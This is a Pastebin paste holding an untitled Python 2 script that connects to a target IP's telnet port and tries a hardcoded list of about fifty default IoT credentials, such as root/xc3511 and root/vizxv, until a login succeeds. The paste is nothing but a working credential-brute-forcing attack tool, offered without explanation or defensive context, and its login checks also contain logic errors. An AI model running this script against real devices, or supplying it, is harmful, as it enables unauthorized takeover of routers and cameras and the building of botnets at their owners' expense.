Advertisement
Guest User

Untitled

a guest
Jan 4th, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.97 KB | None | 0 0
  1. import socket, random, sys, time
  2. if len(sys.argv)<2:
  3.     print "Usage: "+str(sys.argv[0])+" <ip>"
  4.     sys.exit(0)
  5.  
  6. ip=str(sys.argv[1])
  7. def createConnection(ip,port,t):
  8.     sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  9.     sock.settimeout(t)
  10.     sock.connect((ip,port))
  11.     return sock
  12.  
  13. def isLoginRequired(data):
  14.     return (data.index("Username:")>0 or data.index("username:")>0 or data.index("Login:")>0 or data.index("login:")>0)
  15.  
  16. def isHacked(data):
  17.     return (not (data.index("ailed")>0 or data.index("nvalid")>0))
  18.  
  19. cracked=False
  20. hash=[]
  21. hash.append(('admin','admin'))
  22. hash.append(('root','root'))
  23. hash.append(('root','xc3511'))
  24. hash.append(('root','888888'))
  25. hash.append(('root','12345'))
  26. hash.append(('root','123456'))
  27. hash.append(('root','54321'))
  28. hash.append(('root','vizxv'))
  29. hash.append(('root','default'))
  30. hash.append(('root','xmhdipc'))
  31. hash.append(('root','admin'))
  32. hash.append(('root','juantech'))
  33. hash.append(('root','1111'))
  34. hash.append(('root','pass'))
  35. hash.append(('user','user'))
  36. hash.append(('admin','admin1234'))
  37. hash.append(('root','1234'))
  38. hash.append(('root','password'))
  39. hash.append(('admin','1111'))
  40. hash.append(('admin','1234'))
  41. hash.append(('admin','12345'))
  42. hash.append(('admin','123456'))
  43. hash.append(('admin','111111'))
  44. hash.append(('admin','1111111'))
  45. hash.append(('tech','tech'))
  46. hash.append(('root','00000000'))
  47. hash.append(('admin','pass'))
  48. hash.append(('admin','meinsm'))
  49. hash.append(('root','7ujMko0admin'))
  50. hash.append(('root','7ujMko0vizxv'))
  51. hash.append(('service','service'))
  52. hash.append(('admin','7ujMko0admin'))
  53. hash.append(('admin','54321'))
  54. hash.append(('admin','smcadmin'))
  55. hash.append(('root','666666'))
  56. hash.append(('root','klv123'))
  57. hash.append(('guest','guest'))
  58. hash.append(('guest','12345'))
  59. hash.append(('admin1','password'))
  60. hash.append(('666666','666666'))
  61. hash.append(('888888','888888'))
  62. hash.append(('root','klv1234'))
  63. hash.append(('root','Zte521'))
  64. hash.append(('ubnt','ubnt'))
  65. hash.append(('root','hi3518'))
  66. hash.append(('root','jvbzd'))
  67. hash.append(('root','anko'))
  68. hash.append(('root','zlxx.'))
  69. hash.append(('root','system'))
  70. hash.append(('root','ikwb'))
  71. hash.append(('root','dreambox'))
  72. hash.append(('root','realtek'))
  73. index=0
  74. sock=createConnection(ip,23,5)
  75. time.sleep(1)
  76. data=sock.recv(1024)
  77. while cracked!=True:
  78.     try:
  79.         user=hash[index][0]
  80.         password=hash[index][1]
  81.         if isLoginRequired(data):
  82.             sock.send(user+"\r\n")
  83.             print "\033[32;2mlogin sent ("+user+")\033[0m"
  84.             time.sleep(1)
  85.             data=sock.recv(1024)
  86.             if data.index("Password:")>0 or data.index("password:")>0:
  87.                 print "\033[32;2msending password ("+password+")...\033[0m"
  88.                 sock.send(password+"\r\n")
  89.                 data=sock.recv(1024)
  90.                 time.sleep(1)
  91.             if isHacked(data):
  92.                 print data
  93.                 cracked=True
  94.         else:
  95.             print data
  96.             cracked=True
  97.         index=index+1
  98.         if index==len(hash):
  99.             break
  100.     except KeyboardInterrupt, SystemExit:
  101.         sys.exit(0)
  102.     except:
  103.         sock=createConnection(ip,23,5)
  104.         time.sleep(1)
  105.         data=sock.recv(1024)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement